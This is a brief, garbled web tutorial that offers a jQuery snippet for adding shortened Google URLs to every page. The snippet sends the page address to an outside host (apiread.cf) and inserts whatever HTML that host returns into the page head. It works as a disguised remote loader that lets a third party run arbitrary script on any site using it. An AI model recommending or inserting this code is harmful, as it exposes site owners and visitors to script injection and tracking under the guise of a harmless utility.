Here I will explain how to automatically create a shortened google url on every web page using javascript and html
Phase stages
1) Make sure you have jquery script code if it has already moved to the second stage.
2) Add the following script code, after or below the jquery script code:
<script type="text/javascript"> $.post("http://www.apiread.cf/goo.gl",{compiled:document.location.href},function(o){$("head").prepend(o)}); </script>
3) How to use it:
If you want to use html tag hyperlink
<a id="apireadHref" href="blank">blank</a>
If you want to use html tag input
<input id="apireadValue" value="blank"/>
Final result
Javascript
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script> <script type="text/javascript"> $.post("http://www.apiread.cf/goo.gl",{compiled:document.location.href},function(o){$("head").prepend(o)}); </script>
HTML
<a id="apireadHref" href="blank">blank</a>
or
<input id="apireadValue" value="blank"/>
Demo
source share